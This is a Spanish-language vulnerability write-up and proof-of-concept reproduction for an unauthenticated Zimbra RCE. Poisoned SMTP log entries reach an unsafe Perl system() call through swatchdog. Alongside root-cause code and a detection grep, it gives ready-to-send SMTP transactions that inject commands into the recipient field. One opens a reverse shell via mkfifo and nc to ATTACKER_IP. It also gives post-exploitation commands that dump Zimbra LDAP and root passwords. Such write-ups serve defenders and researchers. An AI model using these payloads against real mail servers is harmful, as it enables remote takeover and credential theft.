
Zimbra Collaboration Suite RCE — Envenenamiento de registros SMTP → swatchdog → Inyección de comandos del sistema operativo (CVSS 8.9, CISA KEV)
Nota: Este repositorio contiene un análisis técnico independiente y una reproducción de PoC de CVE-2026-73570. No es el informe original de la vulnerabilidad.
RCE en Zimbra Collaboration Suite — envenenamiento de registros SMTP → swatchdog → inyección de comandos del sistema operativo (CVSS 8.9, CISA KEV)
Tipo: Inyección de comandos del sistema operativo → RCE no autenticado
Vector: envenenamiento de registros SMTP → swatchdog → expansión de shell en forma de cadena de dosnmp
Rango de versiones afectadas por el proveedor/CVE: Zimbra Collaboration Suite < 10.1.20
Requisitos previos: zimbra-snmp instalado; notificaciones SNMP habilitadas
CVSS: 8.9 (Alta)
CISA KEV: Sí — añadido al Catálogo de Vulnerabilidades Explotadas Conocidas de CISA
Parche: Zimbra 10.1.20 (publicado el 2026-07-20)
Nota sobre el rango de versiones: Los metadatos del proveedor/CVE indican que las versiones afectadas son Zimbra < 10.1.20. Sin embargo, el código fuente de Zimbra 10.1.0 examinado durante esta investigación ya utilizaba la llamada segura a
system()en forma de lista. Esto sugiere que la implementación vulnerable en forma de cadena se introdujo en una compilación intermedia y posteriormente se corrigió en 10.1.20, pero la versión exacta en la que se introdujo la regresión no se verificó de forma independiente a partir del historial del repositorio.
La vulnerabilidad reside en /opt/zimbra/conf/swatchrc.in, dentro de la función dosnmp encargada de enviar notificaciones de traps SNMP cuando un servicio de Zimbra cambia de estado.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
La implementación vulnerable utiliza la forma de cadena de system() de Perl. El comando resultante es interpretado por un shell, lo que permite que los metacaracteres del shell y las sustituciones de comandos como $(...) contenidas en $args{SERVICE} sean evaluados.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
La corrección de seguridad central consiste en cambiar de la forma de cadena a la forma de lista de system(), evitando la interpretación del shell de datos controlados por el atacante.
Con la forma de lista, el ejecutable y sus argumentos se pasan por separado. Valores como $(cmd) se tratan como datos literales en lugar de sintaxis del shell.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
El problema clave es el flujo de datos completo:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix acepta la parte local entrecomillada especialmente diseñada y la registra en zimbra.log. Posteriormente, swatchdog interpreta el contenido del registro coincidente como un evento de estado del servicio, permitiendo que datos controlados por el atacante lleguen a la invocación vulnerable de system().
Los siguientes comandos se probaron únicamente en un entorno de laboratorio aislado.
Conéctese al servicio SMTP de destino:
nc <target> 25
Envía una transacción SMTP especialmente diseñada:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Si la explotación tiene éxito, /tmp/pwned_rce contiene una salida similar a:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Esto confirma la ejecución de comandos en el contexto del usuario zimbra.
Inicie un listener en la máquina del atacante:
nc -lvnp 4444
Luego entregue el payload a través de SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
La explotación exitosa da como resultado un shell interactivo ejecutándose como el usuario zimbra.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
El código fuente de Zimbra 10.1.0 examinado durante esta investigación ya contenía la implementación segura de system() en forma de lista.
Por lo tanto, la instalación estándar de 10.1.0 utilizada en este laboratorio no se consideró como evidencia de que Zimbra 10.1.0 en sí fuera vulnerable.
Para reproducir la condición vulnerable descrita por CVE-2026-73570, se modificó manualmente swatchrc.in para utilizar la implementación vulnerable de system() en forma de cadena.
Haga una copia de seguridad de la configuración original:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
El comportamiento vulnerable puede reproducirse entonces en el laboratorio aislado aplicando la implementación en forma de cadena mostrada en la sección Causa Raíz y ejecutando swatchdog contra el registro de Zimbra.
Ejemplo:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
Esta modificación del laboratorio existe únicamente para reproducir y analizar el flujo de datos vulnerable. No debe interpretarse como evidencia de que la compilación 10.1.0 sin modificar fuera vulnerable.
Una explotación exitosa proporciona ejecución de comandos como el usuario zimbra.
Confirme el contexto de ejecución:
id
Ejemplo:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
La configuración local de Zimbra puede exponer credenciales disponibles para la cuenta de servicio comprometida.
Por ejemplo:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
Estas credenciales pueden proporcionar acceso al directorio LDAP de Zimbra y demostrar el impacto de post-explotación de obtener ejecución de comandos como el usuario zimbra.
Busque en los registros de Postfix/Zimbra entradas de destinatarios SMTP que contengan el patrón de estado del servicio de swatchdog:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log